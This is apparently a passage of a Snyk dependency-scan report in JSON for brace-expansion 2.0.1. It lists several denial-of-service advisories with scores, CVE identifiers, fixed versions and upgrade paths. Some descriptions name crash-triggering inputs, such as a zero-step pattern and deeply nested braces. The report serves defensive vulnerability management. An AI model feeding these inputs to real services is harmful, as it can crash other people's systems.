"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub 